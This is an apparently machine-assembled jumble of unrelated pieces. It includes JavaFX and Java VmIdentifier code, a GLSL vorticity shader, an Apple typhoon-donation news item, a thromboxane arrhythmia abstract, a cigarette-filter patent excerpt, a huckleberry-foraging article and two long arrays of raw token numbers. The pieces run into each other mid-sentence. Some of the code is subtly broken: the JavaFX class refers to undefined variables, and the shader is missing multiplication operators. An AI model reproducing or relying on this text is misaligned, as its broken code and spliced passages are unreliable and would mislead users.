THUMB_COORDINATES_X, THUMB_COORDINATES_Y); setColumnSpan(thumb, THUMB_SPAN_Y); add(title, TITLE_COORDINATES_X, TITLE_COORDINATES_Y); add(subTitle, SUBTITLE_COORDINATES_X, SUBTITLE_COORDINATES_Y); } Note that I ignored the row span because it was 1; it's not necessary. Final Code: package Components.CustomLabel; import javafx.scene.control.Label; import javafx.scene.image.Image; import javafx.scene.image.ImageView; import javafx.scene.layout.GridPane; /* * * @author Aamir khan */ public class LabelWithSubtitle extends GridPane { private final Label title = new Label(); private final Label subtitle = new Label(); private final ImageView thumb = new ImageView(); public LabelWithSubtitle(String titleText, String subtitleText, Image thumb) { setTitle(titleText); setSubtitle(subtitleText); setThumb(thumb); init(); } private void setSubtitle(String sub) { subtitle.setText(subtitleText); } private void setThumb(Image image) { thumb.setImage(image); } private void setTitle(String titleText) { title.setText(titleText); } private void init() { add(thumb, THUMB_COORDINATES_X, THUMB_COORDINATES_Y); setColumnSpan(thumb, THUMB_SPAN_Y); add(title, TITLE_COORDINATES_X, TITLE_COORDINATES_Y); add(subTitle, SUBTITLE_COORDINATES_X, SUBTITLE_COORDINATES_Y); } } Apple has launched a new page on its iTunes Store allowing users to easily donate money to the American Red Cross toward Super Typhoon Haiyan relief efforts in the Philippines. The donation page, which is accessible through the main Apple.com page and the desktop iTunes Store, permits donations at the $5, $10, $25, $50, $100, and $200 levels. Apple will transfer 100% of each donation directly to the American Red Cross, allowing users to have their donations seamlessly billed to their existing iTunes Store accounts. With Apple currently holding over 500 million iTunes Store accounts with credit cards attached, the company has a very significant customer base that can take advantage of the donation program. Apple has conducted several similar campaigns in the past, most recently in October 2012 following Superstorm Sandy, in March 2011 following the Japanese earthquake and tsunami, and in January 2010 following the Haitian earthquakes.Thromboxane A2-induced arrhythmias in the anesthetized rabbit. Experiments were conducted in the anesthetized rabbit to investigate mechanisms for arrhythmias that occur after left atrial injection of the thromboxane A(2) (TxA(2)) mimetic U-46619. Arrhythmias were primarily of ventricular origin, dose dependent in frequency, and TxA(2) receptor mediated. The response was receptor specific since arrhythmias were absent after pretreatment with a specific TxA(2) receptor antagonist (SQ-29548) and did not occur in response to another prostaglandin, PGF(2alpha). Alterations in coronary blood flow were unlikely the cause of these arrhythmias because coronary blood flow (as measured with fluorescent microspheres) was unchanged after U-46619, and there were no observable changes in the ECG-ST segment. In addition, arrhythmias did not occur after administration of another vasoconstrictor (phenylephrine). The potential involvement of autonomic cardiac efferent nerves in these arrhythmias was also investigated because TxA(2) has been shown to stimulate peripheral nerves. Pretreatment of animals with the beta-adrenergic receptor antagonist propranolol did not reduce the frequency of these arrhythmias. Pretreatment with atropine or bilateral vagotomy resulted in an increased frequency of arrhythmias, suggesting that parasympathetic nerves may actually inhibit the arrhythmogenic activity of TxA(2). These experiments demonstrate that left atrial injection of U-46619 elicits arrhythmias via a mechanism independent of a significant reduction in coronary blood flow or activation of the autonomic nervous system. It is possible that TxA(2) may have a direct effect on the electrical activity of the heart in vivo, which provides significant implications for cardiac events where TxA(2) is increased, e.g., after myocardial ischemia or administration of cyclooxygenase-2 inhibitors.A variety of cigarette filters have been proposed over the years, and many of these filters include granular filter materials particularly in so-called plug-space-plug filter arrangements. In these filter arrangements spaced apart plugs, usually made of cellulose acetate, define a cavity or space therebetween which is filled with granulated material, such as granulated carbon as well as other materials. For example, beaded material has also been proposed for introduction into the space of a plug-space-plug filter arrangement. The actual filing of the space may be in a horizontal manner and in other instances the filling operation is vertically oriented. Also, as an alternative
[ 6870, 426, 22008, 15, 12083, 4807, 9, 11317, 15, 788, 14897, 414, 6020, 187, 50266, 94, 2010, 551, 187, 50262, 6870, 426, 22008, 15, 12083, 4807, 9, 11317, 15, 788, 6989, 6074, 6020, 187, 50266, 94, 187, 50270, 94, 5834, 313, 8447, 10069, 5330, 299, 10, 551, 748, 187, 50270, 2309, 906, 28, 187, 50274, 94, 535, 50274, 6930, 187, 50273, 11, 16140, 253, 4438, 4860, 275, 436, 657, 78, 18483, 15, 187, 50273, 11, 187, 50273, 11, 1214, 2309, 4605, 428, 253, 4438, 2876, 15, 1310, 642, 4438, 310, 7616, 13, 840, 346, 83, 3, 187, 50273, 11, 50260, 261, 4895, 15, 5010, 13, 253, 7616, 4438, 310, 4895, 15, 187, 50273, 8480, 187, 50274, 4387, 4605, 755, 10715, 1082, 551, 187, 50270, 2776, 7316, 426, 755, 8053, 1874, 187, 50270, 338, 313, 7267, 3613, 3635, 10, 551, 187, 50266, 2776, 5456, 7316, 16523, 426, 7316, 15, 9148, 1587, 3353, 12, 3287, 187, 50266, 1542, 313, 565, 891, 426, 470, 28, 891, 654, 7316, 16523, 15, 3985, 28, 891, 9234, 551, 187, 50262, 338, 313, 7267, 16523, 60, 74, 1570, 5478, 84, 3378, 1587, 9561, 568, 1228, 551, 187, 50258, 565, 3605, 426, 7316, 16523, 60, 74, 1570, 33966, 2073, 30, 5137, 187, 50258, 2309, 7316, 16523, 60, 74, 1570, 41550, 9, 4663, 12, 18, 558, 187, 50262, 94, 187, 50266, 94, 187, 50270, 94, 187, 50270, 2309, 346, 83, 3664, 187, 50274, 94, 535, 50274, 6930, 187, 50273, 11, 16140, 253, 38917, 2330, 342, 253, 657, 78, 18483, 15, 187, 50273, 11, 187, 50273, 11, 1214, 2309, 38917, 428, 253, 38917, 15, 187, 50273, 11, 1214, 2887, 38917, 187, 50273, 8480, 187, 50274, 4387, 38917, 755, 20201, 1082, 551, 187, 50270, 2309, 41475, 28, 187, 50274, 94, 535, 50274, 6930, 187, 50273, 11, 16140, 253, 13283, 2127, 323, 436, 657, 78, 18483, 15, 380, 13283, 2127, 310, 187, 50273, 11, 8931, 281, 253, 13283, 2127, 323, 253, 6221, 38917, 15, 187, 50273, 11, 187, 50273, 11, 1214, 2309, 540, 428, 253, 13283, 3211, 15, 187, 50273, 11, 1214, 2887, 38917, 4, 13362, 6124, 1082, 187, 50273, 8480, 187, 50274, 4387, 540, 13283, 6124, 1082, 551, 187, 50270, 2309, 41475, 15, 13362, 6124, 1874, 187, 50274, 94, 535, 50274, 6930, 187, 50273, 11, 6004, 323, 3290, 342, 643, 5113, 15, 187, 50273, 11, 187, 50273, 11, 1214, 3575, 1789, 253, 1789, 281, 320, 1071, 323, 13919, 15, 187, 50273, 11, 1214, 2309, 12419, 428, 6548, 2032, 604, 253, 1677, 1789, 310, 273, 1511, 187, 50273, 11, 50259, 55, 78, 18483, 285, 697, 38917, 1673, 310, 4503, 281, 187, 50273, 11, 50259, 2520, 1789, 434, 38917, 1673, 15, 17501, 13, 1091, 3221, 15, 187, 50273, 11, 187, 50273, 11, 1214, 2887, 38917, 4, 22297, 9, 4241, 10, 187, 50273, 8480, 187, 50274, 4387, 12419, 18207, 9, 4241, 1789, 10, 551, 187, 50270, 338, 313, 6082, 2295, 436, 10, 551, 187, 50266, 2309, 2032, 28, 187, 50270, 94, 187, 50270, 338, 45496, 6082, 31979, 657, 78, 18483, 1228, 551, 187, 50266, 2309, 3221, 28, 187, 50270, 94, 187, 50270, 2309, 41475, 15, 22297, 39246, 55, 78, 18483, 10, 6082, 481, 11317, 558, 187, 50274, 94, 535, 50274, 6930, 187, 50273, 11, 31308, 281, 247, 2876, 6779, 15, 1716, 4149, 310, 8931, 281, 187, 50273, 11, 6789, 755, 20201, 5023, 18264, 5023, 831, 778, 1818, 275, 247, 2852, 3727, 15, 187, 50273, 11, 187, 50273, 11, 1214, 2309, 4605, 428, 247, 4605, 6779, 273, 253, 657, 78, 18483, 15, 187, 50273, 11, 187, 50273, 11, 1214, 2887, 38917, 4, 18264, 1082, 187, 50273, 8480, 187, 50274, 4387, 4605, 281, 2776, 1082, 551, 187, 50270, 2309, 41475, 15, 18264, 1874, 187, 50274, 94, 187, 94, 187, 23714, 1775, 17407, 19, 37, 7602, 28, 187, 23714, 1775, 17407, 19, 37, 37764, 5755, 28, 187, 187, 23714, 21004, 19, 9860, 5496, 28, 187, 23714, 8253, 9860, 20359, 28, 187, 187, 23714, 8253, 4522, 383, 554, 28, 187, 23714, 8253, 299, 4277, 28, 187, 23714, 21004, 19, 26721, 28, 187, 187, 4353, 2022, 1082, 187, 92, 187, 50274, 4642, 19, 46556, 426, 1289, 64, 4604, 356, 32876, 15, 5246, 1227, 9860, 5496, 15, 5246, 28, 535, 50274, 4642, 19, 1269, 13736, 426, 21004, 19, 9, 18, 15, 17, 1227, 9860, 5496, 15, 89, 13, 470, 15, 17, 558, 187, 50274, 4642, 19, 340, 13736, 426, 21004, 19, 9, 17, 15, 17, 13, 337, 15, 17, 1227, 9860, 5496, 15, 90, 558, 535, 50274, 9599, 362, 77, 426, 14542, 19, 37, 9, 87, 430, 5755, 13, 46556, 428, 1269, 13736, 481, 89, 28, 187, 50274, 9599, 362, 83, 426, 14542, 19, 37, 9, 87, 430, 5755, 13, 46556, 559, 1269, 13736, 481, 89, 28, 187, 50274, 9599, 362, 67, 426, 14542, 19, 37, 9, 87, 430, 5755, 13, 46556, 428, 340, 13736, 481, 89, 28, 187, 50274, 9599, 362, 85, 426, 14542, 19, 37, 9, 87, 430, 5755, 13, 46556, 559, 340, 13736, 481, 89, 28, 187, 50274, 9599, 362, 68, 426, 14542, 19, 37, 9, 87, 430, 5755, 13, 46556, 481, 89, 28, 535, 50274, 9599, 4311, 426, 470, 15, 22, 1227, 9860, 20359, 28, 187, 50274, 4642, 19, 3490, 426, 4311, 475, 21004, 19, 9, 5375, 9, 20282, 10, 428, 2117, 9, 30890, 582, 2117, 9, 24987, 10, 428, 2117, 9, 29576, 4027, 187, 50274, 9599, 2978, 44824, 1096, 426, 2781, 9, 4259, 13, 14261, 9, 4774, 13, 3490, 4027, 187, 50274, 4774, 38825, 275, 735, 265, 2274, 9, 3985, 44824, 1096, 10, 475, 26721, 475, 362, 68, 28, 187, 50274, 4774, 15, 90, 38825, 428, 18, 15, 17, 28, 535, 50274, 4642, 19, 5828, 68, 426, 14542, 19, 37, 9, 40106, 13, 46556, 481, 5246, 28, 187, 50274, 3129, 64, 4604, 356, 6573, 426, 21004, 21, 9, 652, 68, 559, 313, 12292, 383, 554, 475, 3490, 582, 470, 15, 17, 13, 337, 15, 17, 558, 187, 94, 187, 2214, 380, 10540, 4683, 388, 47925, 25058, 27, 4223, 2652, 723, 6282, 12048, 1336, 4683, 3599, 15240, 43974, 187, 187, 33768, 275, 3563, 5768, 13, 3872, 21327, 275, 47624, 3054, 751, 15427, 13, 5041, 13, 27540, 13, 285, 27756, 7522, 342, 15211, 270, 9587, 35041, 11525, 281, 1089, 247, 11556, 273, 3644, 2304, 3508, 288, 47925, 25058, 15, 733, 434, 1846, 323, 4831, 281, 8268, 6186, 13, 4283, 281, 15272, 875, 18199, 7108, 665, 452, 2176, 10827, 8871, 3672, 13, 6264, 2619, 398, 13, 285, 5870, 11525, 281, 4035, 616, 5768, 21188, 15, 187, 187, 20536, 281, 1097, 4797, 25058, 285, 29358, 25058, 13, 253, 9279, 310, 594, 7166, 2576, 326, 352, 556, 281, 320, 14245, 13, 11742, 13, 390, 22186, 3517, 846, 8871, 1108, 534, 2789, 288, 47925, 12840, 2952, 1928, 3340, 7771, 8211, 13, 672, 352, 2223, 760, 34756, 432, 4223, 949, 4397, 15, 1583, 497, 2378, 247, 2201, 2739, 323, 1980, 18199, 7108, 751, 253, 714, 518, 2902, 13, 665, 6518, 288, 47925, 12840, 19492, 44958, 949, 271, 7970, 13195, 387, 253, 8871, 9905, 13, 285, 1014, 4536, 4395, 281, 3297, 2810, 281, 4335, 8871, 8593, 15, 187, 187, 34937, 2892, 13, 4560, 285, 8871, 288, 47925, 25058, 556, 644, 1892, 789, 13, 2568, 323, 952, 665, 2389, 731, 13, 253, 3434, 310, 4409, 352, 15, 187, 187, 4527, 512, 253, 3580, 326, 476, 320, 323, 2961, 275, 5041, 434, 443, 1648, 636, 367, 12099, 302, 3313, 16015, 13, 288, 47925, 25058, 755, 253, 954, 4116, 13, 2296, 2273, 2971, 11007, 8141, 1981, 15, 187, 187, 1992, 3693, 660, 2066, 868, 390, 952, 1469, 1728, 342, 6325, 270, 9587, 1666, 43846, 13, 9741, 4323, 275, 253, 954, 4633, 288, 47925, 589, 11729, 9905, 4536, 556, 281, 1908, 9968, 1066, 7139, 281, 1056, 2316, 323, 625, 288, 47925, 12840, 6244, 15, 6975, 1142, 665, 3153, 275, 288, 47925, 12840, 2586, 13, 8141, 1981, 556, 644, 8871, 253, 37408, 521, 2862, 1495, 13, 285, 352, 7819, 247, 2969, 2940, 275, 253, 18557, 715, 594, 1199, 625, 15, 187, 187, 3, 1394, 1472, 562, 627, 323, 247, 1175, 1921, 643, 685, 816, 281, 755, 281, 247, 2176, 1127, 937, 8141, 1981, 2296, 15, 346, 1147, 434, 247, 32196, 7517, 1905, 285, 247, 36766, 581, 449, 380, 37408, 3746, 9075, 751, 247, 33381, 4797, 12840, 326, 588, 17996, 2619, 398, 9881, 285, 10015, 342, 616, 2502, 15447, 15, 187, 187, 18765, 1142, 5870, 452, 644, 288, 47925, 12840, 16121, 323, 1107, 13, 8141, 1981, 285, 643, 9741, 6171, 11719, 31150, 38782, 398, 327, 835, 253, 1682, 288, 47925, 12840, 20412, 1537, 320, 13, 849, 281, 2619, 731, 13, 285, 1905, 15538, 1905, 534, 3672, 281, 3693, 15, 187, 187, 23112, 11743, 4487, 273, 28079, 16, 18635, 296, 6631, 187, 187, 7542, 30953, 13, 271, 2170, 273, 253, 29961, 936, 837, 30014, 28679, 556, 644, 10827, 323, 897, 407, 18199, 7108, 13, 6701, 281, 271, 4345, 875, 714, 518, 2902, 5396, 9060, 7252, 714, 455, 484, 285, 253, 443, 1648, 636, 367, 12099, 302, 16015, 26141, 15, 24709, 2119, 288, 47925, 12840, 2619, 398, 956, 1682, 8333, 310, 1774, 323, 253, 23206, 1905, 285, 323, 1735, 807, 434, 288, 47925, 12840, 323, 16014, 13, 1512, 15, 5595, 21327, 2430, 247, 9659, 285, 2701, 253, 2408, 273, 37408, 247, 1436, 476, 1379, 1728, 15, 3808, 4803, 671, 13199, 326, 37408, 320, 5055, 407, 1133, 13, 1580, 6500, 751, 270, 9587, 1218, 8583, 476, 4723, 253, 6244, 15, 187, 187, 1992, 4035, 1907, 2217, 37408, 281, 564, 1475, 13, 253, 9741, 4323, 2589, 84, 2180, 474, 6938, 20215, 281, 1089, 562, 849, 1142, 288, 47925, 25058, 476, 320, 5055, 10265, 1598, 13, 2296, 9915, 27982, 13, 253, 28164, 2086, 7205, 323, 443, 1648, 636, 15, 1292, 6701, 281, 253, 18395, 273, 288, 47925, 25058, 13, 27982, 11424, 13, 346, 8259, 5404, 310, 21270, 449, 187, 187, 34, 2389, 273, 288, 47925, 25058, 1905, 5678, 342, 616, 22888, 414, 1905, 556, 3562, 247, 8007, 14, 5056, 3434, 281, 4711, 253, 270, 9587, 21917, 15, 496, 253, 4956, 13, 253, 37408, 403, 49618, 285, 497, 2190, 253, 6244, 281, 11883, 253, 30480, 15, 659, 15, 7518, 561, 46140, 275, 9178, 15, 329, 2499, 273, 27756, 22780, 4907, 5682, 4033, 2191, 5262, 689, 767, 8007, 13756, 281, 2794, 247, 41574, 6857, 288, 47925, 12840, 326, 651, 27340, 4711, 17319, 9279, 387, 1728, 15, 754, 14373, 1293, 7576, 3647, 521, 7517, 15, 6491, 3053, 2820, 281, 9836, 366, 253, 4797, 12840, 275, 38701, 13, 4033, 2191, 2183, 380, 15427, 757, 1078, 521, 15072, 15, 346, 2598, 359, 1472, 3212, 327, 253, 2440, 273, 247, 41574, 6857, 288, 47925, 12840, 17177, 15, 1292, 1067, 479, 896, 275, 2233, 1107, 285, 359, 1833, 320, 275, 1663, 1175, 5281, 449, 187, 187, 28440, 39760, 3381, 394, 15494, 327, 4033, 2191, 434, 15040, 281, 1361, 779, 1265, 247, 288, 47925, 12840, 17177, 387, 521, 30014, 708, 20473, 15162, 15, 39760, 3381, 394, 14528, 288, 47925, 25058, 285, 556, 644, 8871, 731, 323, 8007, 15, 533, 4925, 271, 2363, 835, 352, 369, 1892, 281, 755, 715, 253, 9741, 27340, 281, 323, 486, 323, 2994, 15, 187, 187, 3, 42, 15433, 275, 619, 1711, 1897, 309, 812, 816, 873, 544, 484, 62, 619, 37962, 285, 4533, 1066, 253, 4194, 285, 2619, 288, 47925, 25058, 937, 344, 2296, 15, 754, 23846, 8307, 273, 288, 47925, 25058, 285, 20311, 281, 3343, 1905, 323, 247, 1077, 1048, 673, 15, 346, 2374, 253, 20117, 807, 309, 1694, 619, 806, 37408, 13, 285, 417, 1142, 952, 403, 1469, 281, 4444, 1633, 285, 923, 642, 1091, 323, 5093, 1107, 937, 344, 2296, 15, 187, 187, 510, 1273, 807, 326, 521, 6244, 4197, 37408, 13, 344, 7303, 281, 755, 2217, 432, 521, 1643, 4289, 6244, 281, 1056, 247, 346, 40199, 3376, 449, 11474, 597, 1472, 7964, 288, 47925, 25058, 13, 344, 11210, 626, 6786, 253, 346, 5672, 288, 47925, 12840, 9075, 3, 1905, 534, 344, 2296, 344, 476, 626, 6266, 533, 588, 871, 672, 344, 27491, 352, 15, 187, 187, 3074, 436, 3434, 2506, 626, 4555, 1056, 253, 288, 47925, 12840, 33567, 323, 6264, 3275, 15, 9110, 352, 651, 320, 247, 19708, 11714, 323, 667, 288, 430, 2702, 321, 382, 326, 7303, 352, 1905, 275, 253, 4956, 13, 627, 3365, 6403, 626, 2217, 37408, 281, 564, 1475, 15, 187, 187, 3, 17004, 7389, 839, 253, 4956, 288, 47925, 12840, 310, 7479, 937, 2296, 329, 2225, 399, 2027, 376, 13, 15629, 11652, 275, 253, 288, 430, 2702 ]	result = Integer.parseInt(uri.getAuthority()); } else { result = Integer.parseInt(uri.getUserInfo()); } } catch (NumberFormatException e) { } return result; } /** * Return the mode indicated in this VmIdentifier. * * @return String - the mode string. If no mode is specified, then "r" * is returned. otherwise, the specified mode is returned. / public String getMode() { String query = getQuery(); if (query!= null) { String[] queryArgs = query.split("\\+"); for (int i = 0; i < queryArgs.length; i++) { if (queryArgs[i].startsWith("mode=")) { int index = queryArgs[i].indexOf('='); return queryArgs[i].substring(index+1); } } } return "r"; } /* * Return the URI associated with the VmIdentifier. * * @return URI - the URI. * @see URI / public URI getURI() { return uri; } /* * Return the hash code for this VmIdentifier. The hash code is * identical to the hash code for the contained URI. * * @return int - the hashcode. * @see URI#hashCode() / public int hashCode() { return uri.hashCode(); } /* * Test for quality with other objects. * * @param object the object to be test for equality. * @return boolean - returns true if the given object is of type * VmIdentifier and its URI field is equal to * this object's URI field. Otherwise, return false. * * @see URI#equals(Object) / public boolean equals(Object object) { if (object == this) { return true; } if (!(object instanceof VmIdentifier)) { return false; } return uri.equals(((VmIdentifier)object).uri); } /* * Convert to a string representation. Conversion is identical to * calling getURI().toString(). This may change in a future release. * * @return String - a String representation of the VmIdentifier. * * @see URI#toString() / public String toString() { return uri.toString(); } } uniform sampler2D velocity; uniform sampler2D vorticity; uniform vec2 gridSize; uniform float gridScale; uniform float timestep; uniform float epsilon; uniform vec2 curl; void main() { vec2 uv = gl_FragCoord.xy / gridSize.xy; vec2 xOffset = vec2(1.0 / gridSize.x, 0.0); vec2 yOffset = vec2(0.0, 1.0 / gridSize.y); float vl = texture2D(vorticity, uv - xOffset).x; float vr = texture2D(vorticity, uv + xOffset).x; float vb = texture2D(vorticity, uv - yOffset).x; float vt = texture2D(vorticity, uv + yOffset).x; float vc = texture2D(vorticity, uv).x; float scale = 0.5 / gridScale; vec2 force = scale vec2(abs(vt) - abs(vb), abs(vr) - abs(vl)); float lengthSquared = max(epsilon, dot(force, force)); force = inversesqrt(lengthSquared) curl * vc; force.y = -1.0; vec2 velc = texture2D(velocity, uv).xy; gl_FragColor = vec4(velc + (timestep force), 0.0, 1.0); } For The Love Of Huckleberries: August Brings Out Hunters Of Elusive Fruit Starting in late summer, national forests in Northwestern states like Oregon, Washington, Montana, and Idaho fill with eager berry hunters hoping to find a cache of dark maroon huckleberries. It's common for demand to exceed supply, leading to conflicts between Native Americans who have certain reserved picking areas, commercial pickers, and families hoping to continue their summer traditions. Related to both blueberries and cranberries, the fruit is so juicy that it has to be dried, processed, or eaten soon after picking – which makes huckleberry season feel especially fleeting, when it often only lasts from August through September. They were once a major food for local Native Americans like the Yakama, who helped huckleberry crops flourish through an annual burning at the picking grounds, and even sometimes moved to stay close to prime picking locations. Throughout history, finding and picking huckleberries has been hard work, yet for people who love them, the effort is worth it. Of all the products that can be foraged in Washington's Gifford Pinchot National Forest, huckleberries get the most attention, says forester Chris Starling. To avoid scuffles or people going home with empty berry baskets, forest management in the most popular huckleberrying grounds sometimes has to consider cutting down trees to make room for more huckleberry plants. Like many who live in huckleberry country, Starling has been picking the berries his entire life, and it turns a simple walk in the woods into so much more. "You're out there for a good reason other than just to get to a certain point," Starling says. "It's a relaxing mission — and a tasty one." The berries themselves taste like a tart blueberry that will stain pickers fingers and clothes with their red flesh. Though many families have been huckleberry hunting for years, Starling and other forest employees regularly educate newcomers on where the best huckleberry patches might be, how to pick them, and — importantly — which areas to avoid. toggle caption Department of Agriculture/Forest Service Since 1932, an area of the Sawtooth Berry Fields has been reserved for use by Native Americans, thanks to an agreement between Yakama Indian Chief William Yallup and the Gifford Pinchot Forest supervisor. Making sure huckleberry pickers follow best practices is important for the tribes — and for next year's huckleberry foragers, too. Most forests require a permit and limit the amount of berries a person can take home. Some rules also specify that berries be picked by hand, since equipment like berry rakes can damage the plants. To continue having enough berries to go around, the forest management conducts periodical environmental assessments to find out how many huckleberries can be picked sustainably, says Joe Gates, the vegetation program manager for Gifford. But thanks to the popularity of huckleberries, Gates explains, "conflict is prevalent." A love of huckleberries — combined with their scarcity — has created a decades-long effort to produce the berry commercially. In the wild, the berries are hearty and were among the plants to survive the Mt. St. Helens eruption in 1980. A University of Idaho researcher named Dan Barney spent over two decades attempting to create a domesticated huckleberry that would reliably produce delicious fruit at home. He retired without accomplishing his mission. People started trying to domesticate the blueberry in 1906, Barney told The Oregonian before his retirement. "So we're behind on the development of a domesticated huckleberry crop. But call me back in 100 years and we'll be in really good shape." Joe Culbreth relied on Barney's expertise to help him start a huckleberry crop at his Berry & Nut Farm. Culbreth loves huckleberries and has been picking them for decades. but reached an age where it was hard to get into the forest reliably to forage for himself. "I figured in my old days I could just set [up] my wheelchair and roll down the row and pick huckleberries," he says. He planted hundreds of huckleberries and proceeded to wait — for a very long time. "On the seventh year I got my first berries, and not many people are going to plant something and see no return for seven years," he says. The second year that his plants produced berries, he managed to get enough from his few hundred plants to make a "nice pie." Though they're definitely huckleberries, he hasn't achieved the "true huckleberry taste" — which he says he can't describe but will know when he tastes it. All this effort doesn't exactly make the huckleberry ripe for commercial production. Yet it would be a jackpot for any horticulturist that managed it — in the wild, there simply aren't enough berries to go around. "Domesticating the wild huckleberry is impossible," says Amit Dhingra, associate professor in the horticult
[ 22, 283, 25, 15, 22, 10, 187, 50276, 18191, 6595, 285, 308, 1441, 249, 1254, 2041, 15, 39154, 20700, 15, 709, 44675, 1184, 50254, 50254, 50254, 50254, 50270, 50276, 5826, 283, 2693, 50254, 50266, 8057, 13315, 1783, 273, 42886, 941, 432, 495, 13, 37219, 23367, 11646, 275, 13169, 13, 5002, 13, 7758, 13, 285, 1457, 8911, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50270, 28606, 273, 2273, 498, 17867, 313, 73, 19315, 5085, 326, 2959, 247, 4366, 273, 23052, 7289, 285, 16, 263, 4366, 273, 36023, 7289, 10, 285, 4644, 273, 1524, 14, 383, 366, 9633, 3607, 275, 253, 2045, 7150, 50254, 50254, 50254, 50270, 51, 684, 273, 8945, 7811, 313, 1703, 10, 12941, 285, 40083, 4675, 5904, 313, 249, 253, 19737, 347, 973, 347, 1110, 2330, 342, 12212, 3290, 18172, 10, 50254, 50254, 50254, 50254, 50254, 688, 9077, 3210, 342, 9635, 13, 7150, 13, 285, 807, 4229, 2538, 13, 2233, 3081, 2273, 498, 17867, 403, 2330, 342, 247, 337, 15, 19, 2558, 2572, 275, 8360, 12941, 285, 4675, 5904, 13, 247, 577, 15, 26, 283, 23, 15, 24, 2558, 2572, 275, 3657, 494, 4675, 5904, 2190, 253, 1327, 14, 293, 491, 314, 13, 247, 1249, 15, 17, 283, 1093, 15, 25, 2558, 2572, 275, 8360, 12941, 390, 4675, 5904, 2905, 281, 10397, 13, 247, 6480, 15, 22, 283, 3156, 15, 24, 2558, 2572, 275, 8360, 12941, 390, 4675, 5904, 323, 13184, 9437, 187, 50276, 38, 44964, 1254, 2041, 15, 39154, 20700, 15, 709, 45197, 1184, 50254, 50254, 50254, 50254, 979, 50261, 7330, 544, 18022, 85, 2874, 4174, 2874, 910, 709, 14, 881, 568, 2420, 14, 4174, 986, 50275, 34255, 6716, 12888, 342, 2800, 20292, 285, 1740, 3625, 30817, 275, 14070, 3692, 5870, 574, 7407, 36023, 1561, 253, 2045, 2620, 1107, 50254, 50254, 50254, 50254, 50254, 50275, 47, 16, 34, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50266, 427, 16, 34, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 411, 5163, 13, 1881, 14, 1559, 482, 13, 285, 31917, 497, 16876, 7744, 39544, 407, 1263, 5014, 13, 1679, 594, 2190, 253, 20292, 2429, 281, 616, 30817, 187, 50276, 24306, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 26045, 5413, 9271, 1342, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 19634, 1184, 50254, 50254, 50274, 8603, 50254, 245, 50265, 209, 26789, 2770, 14, 4399, 285, 767, 2060, 12888, 342, 11003, 40821, 275, 1457, 2816, 3228, 13, 1457, 2816, 28, 659, 15, 7406, 13, 16301, 28, 9516, 13, 10128, 28, 33609, 3097, 13, 12096, 28, 285, 411, 15861, 13, 6112, 665, 574, 7799, 36023, 7268, 3238, 390, 665, 574, 9829, 10762, 327, 271, 16383, 10119, 50255, 47, 16, 34, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50266, 427, 16, 34, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 38224, 13, 10397, 13, 285, 9454, 497, 1846, 16876, 5469, 275, 512, 2770, 14, 4399, 12888, 187, 50276, 39, 40885, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 42952, 1184, 50254, 50254, 50254, 50254, 50272, 9204, 283, 740, 50254, 50266, 10330, 273, 512, 898, 1717, 612, 2474, 14, 390, 36023, 14, 4919, 402, 26685, 14290, 275, 1668, 3054, 15299, 275, 253, 3313, 27398, 290, 14645, 40283, 4155, 50254, 50254, 50254, 50254, 50254, 50263, 50275, 28622, 273, 8039, 390, 40911, 2957, 273, 8039, 13, 3636, 327, 253, 3720, 273, 2234, 3000, 824, 347, 346, 1173, 7025, 937, 346, 84, 379, 1648, 7289, 390, 7501, 273, 8570, 937, 346, 922, 14019, 937, 390, 346, 38483, 2419, 390, 1728, 3, 50254, 50254, 50254, 50272, 9244, 9429, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50275, 510, 1180, 273, 402, 26685, 2905, 281, 612, 2474, 390, 36023, 2559, 432, 11003, 275, 5826, 281, 23670, 275, 4267, 187, 50276, 25353, 11155, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 38823, 1184, 50254, 50254, 50254, 50254, 50274, 4695, 544, 18022, 85, 2874, 4174, 2874, 910, 709, 14, 881, 568, 2420, 14, 4174, 986, 50275, 22708, 14, 20382, 6630, 273, 247, 31539, 3632, 3410, 273, 495, 13, 933, 6389, 18294, 275, 14890, 13, 342, 247, 5329, 6, 2380, 2281, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 18635, 14019, 327, 247, 15842, 390, 10119, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 38224, 13716, 13, 327, 247, 4311, 432, 470, 283, 2313, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50260, 50275, 18635, 14019, 327, 247, 15842, 390, 10119, 369, 17045, 347, 253, 10720, 954, 33674, 1495, 2362, 313, 10722, 4868, 13, 8187, 15, 24, 582, 3212, 2471, 273, 247, 22333, 16, 7003, 285, 44276, 4975, 281, 1881, 16, 11807, 187, 50276, 33228, 23051, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 39703, 1184, 50254, 50254, 50254, 50254, 50272, 6914, 283, 740, 50254, 50266, 8057, 13315, 1783, 273, 7970, 941, 432, 9963, 21813, 275, 11637, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 25977, 273, 2273, 498, 17867, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50260, 50276, 6878, 273, 1429, 33673, 9048, 5012, 6949, 407, 9635, 1429, 12107, 3238, 313, 36, 3299, 582, 285, 1385, 273, 4326, 4215, 2219, 273, 1429, 33673, 9048, 50254, 50254, 50254, 50254, 50254, 50270, 34, 337, 7155, 1127, 2572, 275, 253, 36023, 2281, 369, 2330, 342, 247, 495, 15, 26, 2558, 2572, 275, 330, 3299, 14006, 313, 49, 426, 470, 15, 2125, 10, 285, 247, 577, 15, 22, 2558, 2572, 275, 4326, 4215, 2219, 313, 49, 426, 470, 15, 520, 10, 187, 50276, 40, 3093, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 44238, 1184, 50254, 50254, 50254, 50254, 50270, 7199, 283, 883, 50254, 50266, 10547, 14, 20382, 6630, 273, 608, 13, 35432, 7732, 2326, 275, 3625, 1557, 12941, 4768, 11268, 50254, 50254, 50254, 50254, 